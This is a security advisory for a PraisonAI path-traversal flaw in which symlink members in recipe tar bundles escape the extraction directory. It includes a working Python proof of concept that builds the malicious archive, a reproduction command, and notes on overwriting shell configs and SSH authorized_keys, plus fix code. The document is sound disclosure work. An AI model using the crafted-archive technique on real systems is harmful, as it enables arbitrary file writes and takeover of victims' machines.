GHSA-9q28-ghcr-c4x3 CVE-2026-44340 PYSEC-2026-2909
PraisonAI's symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.63% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-59 Improper Link Resolution Before File Access ('Link Following')
- Fix
4.6.37- Upgrade praisonai to this version or later
Description
Summary
The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name
inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.
Affected paths
Every code path that calls _safe_extractall is exposed:
| Caller | File:line |
|---|---|
praisonai recipe unpack |
src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) |
LocalRegistry.unpack (recipe pull) |
src/praisonai/praisonai/recipe/registry.py:413 |
| Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |
Root cause
recipe/registry.py:131-178:
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
...
for member in tar.getmembers():
...
member_path = Path(member.name)
if member_path.is_absolute(): raise RegistryError(...)
if '..' in member_path.parts: raise RegistryError(...)
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(...)
# All members validated — safe to extract
tar.extractall(dest_dir)
Three gaps:
- The loop checks only
member.name.member.linkname(the symlink / hardlink target) is not inspected. member.issym()andmember.islnk()are not used to refuse link members at all.tar.extractall(dest_dir)runs withoutfilter="data". On Python ≤ 3.13 the default isfully_trusted(with a DeprecationWarning on 3.12+), which permits symlinks pointing outsidedest_dir.
When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.
Reproduction
Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).
make_bundle.py:
import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
sym = tarfile.TarInfo("legit/escape")
sym.type = tarfile.SYMTYPE
sym.linkname = "/tmp/PWNED"
tar.addfile(sym)
payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
tar.addfile(pf, io.BytesIO(payload))
direct_test.py:
import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall
DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)
with tarfile.open("malicious.praison", "r:gz") as tar:
_safe_extractall(tar, DEST)
assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())
Run:
docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
pip install -q praisonai &&
python make_bundle.py &&
python direct_test.py
'
Observed output:
_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall
/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.
Impact
Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.
Realistic exploitation paths:
- A user runs
praisonai recipe unpack ./<malicious>.praisonafter obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs
praisonai recipe pull <name>against a malicious or compromised registry. - A registry server processes an uploaded
.praisonbundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).
Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorized_keys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.
This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.
Suggested remediation
Single-line fix at recipe/registry.py:178:
tar.extractall(dest_dir, filter="data")
filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses
symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.
If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:
if member.issym() or member.islnk():
link_target = (dest_resolved / member_path.parent / member.linkname).resolve()
if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep):
raise RegistryError(
f"Refusing to extract link with target outside dest dir: "
f"{member.name} -> {member.linkname}"
)
Affected versions
praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in
GHSA-99g3-w8gr-x37c). All releases that route extraction through _safe_extractall are exposed.
Disclosure
Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new
-- Dhiral Vyas
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.6.37 |
4.6.37 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.37
- pip
pip install --upgrade "praisonai>=4.6.37"- poetry
poetry add "praisonai>=4.6.37"- uv
uv add "praisonai>=4.6.37"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-59: Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
How to prevent it
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor